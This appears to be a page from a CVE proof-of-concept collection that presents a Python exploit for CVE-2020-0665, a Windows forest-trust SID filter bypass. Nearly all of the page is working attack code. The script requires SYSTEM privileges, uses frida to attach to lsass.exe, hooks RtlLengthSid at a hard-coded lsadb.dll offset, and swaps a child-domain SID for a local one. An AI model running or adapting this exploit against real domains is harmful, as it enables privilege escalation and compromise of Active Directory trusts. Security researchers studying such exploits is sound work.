4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-0665.py PY
from __future__ import print_function
import argparse
import sys
import subprocess


# We will need 'frida' library to intercept processes
try:
    import frida
except:
    print("'frida' library not found. Please try to install it and retry.")
    sys.exit(1)


def ensure_system_privileges():
    """
    Check if the current user has SYSTEM privileges.
    Exits if not running as SYSTEM. 
    Needed since we will intercept and hook processes.
    """
    try:
        output = subprocess.check_output("whoami", shell=True)
        output = output.strip().lower()
        if output != "nt authority\\system":
            print("[!] Insufficient privileges. Current user is: {}".format(output))
            print("[!] You must be running as NT AUTHORITY\\SYSTEM.")
            sys.exit(1)
    except Exception as e:
        print("[!] Error checking user privileges: {}".format(str(e)))
        sys.exit(1)


def print_info(args):
    """
    Print some information given.
    """
    print("[+] Child SID: {child}" .format(child=args.child_sid))
    print("[+] Local SID: {local_sid}". format(local_sid=args.local_sid))
    print("[+] Process to interupt and hook: {p}".format(p=args.process))
    return


def parse_args():
    """
    Get arguments/flags from user.
    """
    parser = argparse.ArgumentParser(description='CVE-2020-0665 / SID Filter Bypass - by gunzf0x')
    parser.add_argument('--child-sid', help='Child Domain SID', required=True)
    parser.add_argument('--local-sid', help='Local SID of the victim server (cannot be Domain Controller).', required=True)
    parser.add_argument('-p', '--process', help='Process to intercept and hook. Process name or PID (number). For example and recommended: lsass.exe', required=True)
    parser.add_argument('--prefix-child-sid', help='Prefix in Child Domain SID. For example, if Child SID is "S-1-5-21-3878752286-62540090-653003637", it has prefix "S-1-5-21-". If not specified, the program will attempt to extract it automatically.')
    parser.add_argument('--prefix-local-sid', help='Prefix in  Local SID Workstation. For example, if Child SID is "S-1-5-21-2327345182-1863223493-3435513819", it has prefix "S-1-5-21-". If not specified, the program will attempt to extract it automatically.')
    parser.add_argument('-v' ,'--verbose', action='store_true', help='Enable verbose output.')
    return parser.parse_args()


def get_prefix_automatically(SID, doVerbose, SID_Name):
    """
    Get SID prefix if user has not explicitly given it.
    If 'S-1-5-21-3878752286-62540090-653003637' is a SID, then 'S-1-5-21-' is obtained as its prefix.
    """
    # Split up to the fourth "-"
    parts = SID.split("-", 4)  
    prefix = "-".join(parts[:4])
    # Show prefix extracted if verbose is enabled
    if doVerbose:
        print("(Verbose) Prefix automatically extracted: '{p}-' for {s}" .format(p=prefix, s=SID_Name))
    # Return interesting part of SID
    return prefix + '-'


def SID_to_Binary(SID, prefix, doVerbose, SID_Name):
    """
    Pass part of SID to binary
    """
    # If user has explicitly passed a prefix, use it
    if prefix:
        components = SID.split(prefix, 1)
        if doVerbose:
            print("(Verbose) Manual prefix set '{p}' for {c}" .format(p=prefix, c=SID_Name)) 
            print("(Verbose) The following part of SID will be passed to binary for {c}: {part}" .format(part=components[1], c=SID_Name))
    else: #otherwise, extract prefix automatically
        prefix = get_prefix_automatically(SID, doVerbose, SID_Name) 
        components = SID.split(prefix, 1)
    if len(components) > 1:
        remaining_string = components[1]
        split_values = remaining_string.split('-')
        output_list = []
        for i in split_values:
            decimal_number = int(i)
            # For some reason, Python returns an 'L' in Windows for long integers. When SID is splitted by '-', a long integer is obtained and produces an 'L' in output. Remove that.
            hexadecimal_value = hex(decimal_number).rstrip('L').replace('0x', '').zfill(8) 
            little = ' '.join([hexadecimal_value[i:i+2] for i in range(len(hexadecimal_value)-2, -2, -2)])
            bytes_list = little.split()
            formatted_bytes = ', '.join(["0x{}".format(byte.upper()) for byte in bytes_list]) 
            output_list.append(formatted_bytes)
    final_output = ', '.join(output_list)
    if doVerbose:
        print("(Verbose) Binary payload: " + "0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output)
    try:
        binary_SID = "0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, " + final_output
    except:
        print("[-] Could not retrieve binary SID for {sid}".format(sid=SID))
        sys.exit(1)
    return binary_SID


def on_message(message, data):
    """
    Print messages for 'frida' library
    """
    print("[%s] => %s" % (message, data))


def intercept_and_hook_process(child_SID_binary, local_SID_binary, process, doVerbose):
    """
    Use 'frida' to intercept and hook process to trigger the vulnerability
    """
    # Get process by its PID (integer) or its name
    try:
        target_process = int(process)
    except ValueError:
        if doVerbose:
            print("(Verbose) '{p}' process could not be converted to an integer. Using it as a string variable..." .format(p=process))
        target_process = process
    print("[+] Intercepting and hooking process '{p}'...".format(p=process))
    session = frida.attach(target_process)
    # Define a payload based on https://github.com/dirkjanm/forest-trust-tools/blob/master/frida_intercept.py
    payload = """
// Find base address of current imported lsadb.dll by lsass
var baseAddr = Module.findBaseAddress('lsadb.dll');
console.log('lsadb.dll baseAddr: ' + baseAddr);
// Add call to RtlLengthSid from LsaDbpDsForestBuildTrustEntryForAttrBlock
// (address valid for Server 2016 v1607)
var returnaddr = ptr('0x151dc');
var resolvedreturnaddr = baseAddr.add(returnaddr)
// Sid as binary array to find/replace
var buf1 = [%s];
var newsid = [%s];
// Find module and attach
var f = Module.getExportByName('ntdll.dll', 'RtlLengthSid');
Interceptor.attach(f, {
  onEnter: function (args) {
    // Only do something calls that have the return address we want
    if(this.returnAddress.equals(resolvedreturnaddr)){
        console.log("entering intercepted function will return to r2 " + this.returnAddress);
        // Dump current SID
        console.log(hexdump(args[0], {
          offset: 0,
          length: 24,
          header: true,
          ansi: false
        }));
        // If this is the sid to replace, do so
        if(equal(buf1, args[0].readByteArray(24))){
            console.log("sid matches!");
            args[0].writeByteArray(newsid);
            console.log("modified SID in response");
        }
    }
  },
});
function equal (buf1, buf2)
{
    var dv1 = buf1;
    var dv2 = new Uint8Array(buf2);
    for (var i = 0 ; i != buf2.byteLength ; i++)
    {
        if (dv1[i] != dv2[i]){
            return false;
        }
    }
    return true;
}

""" % (child_SID_binary, local_SID_binary)
    if doVerbose:
        print("(Verbose) The following payload will be injected:\n\n", payload)
    script = session.create_script(payload)
    script.on('message', on_message)
    script.load()
    print("[!] Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n")
    sys.stdin.read()
    session.detach()


def main():
    # Get user arguments
    args = parse_args()
    # Check if the script is being executed as 'nt authority/system', since we require privileges ('Administrator' does not work)
    ensure_system_privileges()
    # Print information given by the user
    print_info(args)
    # Child SID to binary
    child_SID_binary = SID_to_Binary(args.child_sid, args.prefix_child_sid, args.verbose, 'child SID')
    # Local SID to binary
    local_SID_binary = SID_to_Binary(args.local_sid, args.prefix_local_sid, args.verbose, 'local SID')
    # Intercept and hook the target process with 'frida'
    intercept_and_hook_process(child_SID_binary, local_SID_binary, args.process, args.verbose)


if __name__ == "__main__":
    main()